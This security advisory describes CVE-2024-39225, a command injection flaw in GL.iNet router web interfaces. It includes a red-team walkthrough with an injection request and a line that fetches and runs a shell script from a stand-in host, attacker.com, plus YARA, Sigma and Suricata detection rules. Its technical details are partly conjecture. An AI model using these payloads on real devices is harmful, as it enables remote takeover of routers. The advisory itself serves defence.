CVE-2024-39225

Executive Summary

CVE-2024-39225 is a critical remote code execution (RCE) vulnerability affecting a wide range of GL.iNet routers and networking devices. The vulnerability resides in the web management interface of these devices, allowing an unauthenticated attacker to execute arbitrary commands on the underlying operating system. Given the lack of a confirmed patch and the widespread use of these devices in both consumer and enterprise environments, this vulnerability poses a significant threat to network security. The attack vector is network-based, requires no authentication, and can lead to full device compromise, enabling lateral movement, data exfiltration, and persistent access.

Supply Chain & Package Security

This vulnerability is not related to a specific software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in GL.iNet's proprietary operating system. However, the supply chain risk is elevated because many of these devices are sold through third-party retailers and may be deployed without proper security updates. Organizations should inventory all GL.iNet devices and assess their exposure.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Exploit does not affect other components.
• Confidentiality (C): High (H) - Full device data access.
• Integrity (I): High (H) - Full device control.
• Availability (A): High (H) - Can cause denial of service.

Threat Level: Critical. The combination of network accessibility, low complexity, and no authentication makes this vulnerability highly exploitable. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is believed to be an OS command injection flaw in the web management interface of GL.iNet routers. The web interface, typically accessible on port 80 or 443, processes user-supplied input (e.g., in configuration fields, login forms, or API endpoints) without proper sanitization. An attacker can inject shell metacharacters (e.g., ;, |, &&) into these fields, causing the device to execute arbitrary commands with root privileges.

The affected firmware versions share a common codebase for their web interface, likely using a CGI or embedded web server (e.g., uhttpd, lighttpd). The injection point is probably in a function that handles system commands for features like VPN configuration, network diagnostics, or firmware updates. The lack of input validation allows the attacker to break out of the intended command and execute their own.

Example vulnerable code pattern (pseudo-code):

void handle_diagnostic(char *ip_address) {
    char command[256];
    snprintf(command, sizeof(command), "ping -c 4 %s", ip_address);
    system(command);
}

If ip_address is not sanitized, an attacker can send 127.0.0.1; id to execute id.

Vulnerable vs. Patched Code

Since no official patch has been released, a direct comparison is not possible. However, based on common remediation patterns, the patched code would include input validation and sanitization.

Vulnerable Code (Conceptual):

void handle_diagnostic(char *ip_address) {
    char command[256];
    snprintf(command, sizeof(command), "ping -c 4 %s", ip_address);
    system(command);
}

Patched Code (Conceptual):

void handle_diagnostic(char *ip_address) {
    // Validate input: only allow IP addresses or hostnames
    if (!is_valid_ip_or_hostname(ip_address)) {
        return_error("Invalid input");
        return;
    }
    char command[256];
    snprintf(command, sizeof(command), "ping -c 4 %s", ip_address);
    system(command);
}

The patched version would also use execve() instead of system() to avoid shell interpretation, and implement a whitelist of allowed characters.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a vulnerable GL.iNet device (e.g., GL-AR750) or use a firmware emulator (e.g., QEMU, Firmadyne).
2. Flash the vulnerable firmware version (e.g., v4.3.11).
3. Connect the device to an isolated network segment.
4. Identify the web interface IP address (default: 192.168.8.1).

Exploitation Steps:

1. Reconnaissance: Scan the device for open ports (nmap -p 80,443,22 ).
2. Identify Injection Point: Use a web proxy (Burp Suite) to intercept requests. Look for parameters in POST/GET requests that are passed to system commands (e.g., ping, traceroute, ip).
3. Craft Payload: Inject a command using shell metacharacters. Example:

   POST /cgi-bin/diagnostic.cgi HTTP/1.1
   Host: 192.168.8.1
   Content-Type: application/x-www-form-urlencoded
   
   target=127.0.0.1;id
   

4. Verify Execution: Check the response for the output of the id command.
5. Establish Persistence: Use the RCE to download and execute a reverse shell payload (e.g., using wget and chmod +x).

Example Reverse Shell Payload:

# On attacker machine: nc -lvnp 4444
# Injected command:
127.0.0.1;wget http://attacker.com/shell.sh -O /tmp/shell.sh;chmod +x /tmp/shell.sh;/tmp/shell.sh

Blue Team

Detection & Response:

1. Monitor for Anomalous HTTP Requests: Look for requests containing shell metacharacters (;, |, &&, `) in parameters.
2. Network Segmentation: Isolate GL.iNet devices on a separate VLAN with strict firewall rules.
3. Log Analysis: Enable and monitor syslog on the device for unusual command execution.
4. Honeypot: Deploy a decoy GL.iNet device to capture exploitation attempts.

Hunting Queries:

• Search for HTTP requests with cmd or exec in the URI.
• Look for outbound connections from the device to unknown IPs on non-standard ports (e.g., 4444, 1337).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing shell metacharacters in POST/GET parameters.
  • Outbound connections from the device to attacker-controlled IPs on ports 80, 443, or custom ports.
  • Unusual DNS queries to domains associated with C2 infrastructure.

• File IOCs:

  • Presence of unexpected files in /tmp/ (e.g., shell.sh, payload).
  • Modified system binaries (e.g., /bin/busybox).
  • New cron jobs in /etc/crontab or /etc/cron.d/.

• Process IOCs:

  • Running processes with suspicious names (e.g., nc, bash, python).
  • Processes spawned by the web server (e.g., uhttpd) that are not typical.

• Log IOCs:

  • Syslog entries showing command execution via system() or popen().
  • Web server logs with 200 responses to diagnostic endpoints containing shell metacharacters.

Detection Engineering

YARA Rule

rule GLiNet_RCE_CVE_2024_39225 {
    meta:
        description = "Detects payloads targeting CVE-2024-39225 in GL.iNet devices"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "CVE-2024-39225"
    strings:
        $shell_meta1 = /[;&|`$]/
        $shell_meta2 = /(ping|traceroute|ip)\s+.*[;&|`]/
        $cmd_inject = /(wget|curl|bash|sh)\s+/
    condition:
        any of ($shell_meta*) and $cmd_inject
}

Sigma Rule

title: GL.iNet RCE Attempt via Web Interface
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting GL.iNet devices
author: Valters IT
date: 2024-07-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'cgi-bin'
            - 'diagnostic'
            - 'ping'
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in non-malicious contexts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"GL.iNet RCE Attempt CVE-2024-39225"; flow:to_server,established; content:"POST"; http_method; content:"cgi-bin"; http_uri; content:";"; http_client_body; content:"|"; http_client_body; content:"&&"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable remote management (WAN access) on all GL.iNet devices.
   • Change default admin credentials.
   • Restrict access to the web interface to trusted IPs only via firewall rules.

2. Vendor Patch:

   • Monitor GL.iNet's official website and forums for a firmware update.
   • Apply the patch as soon as it is released.

3. Workarounds:

   • If patching is not possible, consider replacing the device with a supported alternative.
   • Implement a Web Application Firewall (WAF) to block malicious requests.
   • Use network segmentation to isolate vulnerable devices.

4. Long-Term Measures:

   • Adopt a vulnerability management program for IoT devices.
   • Regularly audit firmware versions and apply updates.
   • Use network monitoring tools to detect anomalous behavior.

Valters IT
Securing Digital Frontiers